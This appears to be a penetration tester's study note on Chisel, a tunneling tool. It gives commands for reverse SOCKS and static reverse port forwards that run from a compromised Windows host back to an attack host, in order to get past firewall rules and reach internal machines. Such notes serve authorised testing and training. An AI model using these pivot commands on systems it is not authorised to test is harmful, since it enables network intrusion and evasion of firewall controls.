Summary

Chisel is a TCP/UDP-based tunneling tool written in Go that uses HTTP to transport data that is secured using SSH. Chisel can create a client-server tunnel connection in a firewall restricted environment.

Chisel is my favorite tunneling option and the reverse pivot in particular. Reverse pivot is better then normal pivot as there may be scenarios where firewall rules restrict inbound connections to our compromised target. In such cases, utilizing Chisel reverse pivot will solve this issue.

Chisel is covered more in depth in Tunneling and pivoting note, here are the most refined notes about it

Dynamic Reverse Forward

sudo chisel server --reverse -v -p 1234 --socks5 - Start the server on our attack host
.\chisel.exe client -v 192.168.45.169:1234 R:socks- Connect the client to the attack host

Static Reverse Forward

Although the dynamic version of chisel is better all around, sometimes there can be some issues with how complex the connections get. For example, it’s pretty hard to get firefox going with a dynamic reverse forward - static reverse is much more stable and simple.

This setup, of course, means that we will only forward one specific port. In this firefox example, this will be port 80.

sudo ./chisel server -p 1234 --reverse - Start the server on our attack host
.\chisel.exe client <ATTACK HOST IP>:1234 R:80:<TARGET HOST IP>:80 - Connect the client to the attack host
The R: port can be anything really

Then you can enter http://127.0.0.1/ in your browser and see the site.

Important note:
Remember, that you can reverse forward further hosts, not only the pivot host itself, but also all hosts that pivot sees. So for example if the pivot is .241 but it also has access to a web server .241, you can point the reverse forward to .241. The example above was built on such scenerio.

Local static forward

You’d need it for when you need to download a file from target to your attack host. See Tunneling and pivoting for further details.